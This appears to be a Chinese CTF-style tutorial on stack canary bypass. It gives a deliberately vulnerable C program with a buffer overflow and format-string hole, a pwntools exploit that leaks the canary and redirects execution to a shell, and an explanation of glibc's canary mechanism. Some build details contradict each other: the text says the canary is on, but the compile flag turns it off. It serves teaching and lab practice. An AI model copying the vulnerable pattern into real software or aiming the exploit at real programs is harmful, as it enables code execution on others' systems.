看门见码
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void getshell(void) { system("/bin/sh"); } void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); } void vuln() { char buf[100]; for(int i=0;i<2;i++){ read(0, buf, 0x200); printf(buf); } } int main(void) { init(); puts("Hello Hacker!"); vuln(); return 0; }
一、函数调用栈
函数调用栈示意图
二、编译为 32bit 程序,开启 NX,ASLR,Canary 保护
gcc -m32 -fno-stack-protector -o printf printf.c //此为关闭canary
Linux在gcc是自动带开启canary的
三、EXP
#!/usr/bin/env python from pwn import * context.binary = 'ex2' #context.log_level = 'debug' io = process('./ex2') get_shell = ELF("./ex2").sym["getshell"] io.recvuntil("Hello Hacker!\n") # leak Canary payload = "A"*100 io.sendline(payload) io.recvuntil("A"*100) Canary = u32(io.recv(4))-0xa log.info("Canary:"+hex(Canary)) # Bypass Canary payload = "\x90"*100+p32(Canary)+"\x90"*12+p32(get_shell) io.send(payload) io.recv() io.interactive()
解释(个人观点):
-
process载入
-
发送100个padding
-
等待接受完发送的100个padding
-
继续接收canary的值,减去0xa,是为了减去一个换行符,因为在Linux下的换行符大小是0xa
-
构造payload,先栈溢出的覆盖
-
发送canary的值以便检查
-
发送12个padding来覆盖canary的8个字节大小,4个ebp大小
-
覆盖返回地址以getshell
四、canary实现原理
当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:
mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果抑或的结果为 0,说明 canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 <main+65> call 0x400460 <__stack_chk_fail@plt>
如果 canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail
。__stack_chk_fail
也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。
eglibc-2.19/debug/stack_chk_fail.c void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail ("stack smashing detected"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. */ while (1) __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"); }
这意味可以通过劫持 __stack_chk_fail
的 got 值劫持流程或者利用 __stack_chk_fail
泄漏内容 (参见 stack smash)。
进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; ... } tcbhead_t;
如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。
事实上,TLS 中的值由函数 security_init 进行初始化。
static void security_init (void) { // _dl_random的值在进入这个函数的时候就已经由kernel写入. // glibc直接使用了_dl_random的值并没有给赋值 // 如果不采用这种模式, glibc也可以自己产生随机数 //将_dl_random的最后一个字节设置为0x0 uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); // 设置Canary的值到TLS中 THREAD_SET_STACK_GUARD (stack_chk_guard); _dl_random = NULL; } //THREAD_SET_STACK_GUARD宏用于设置TLS #define THREAD_SET_STACK_GUARD(value) \ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)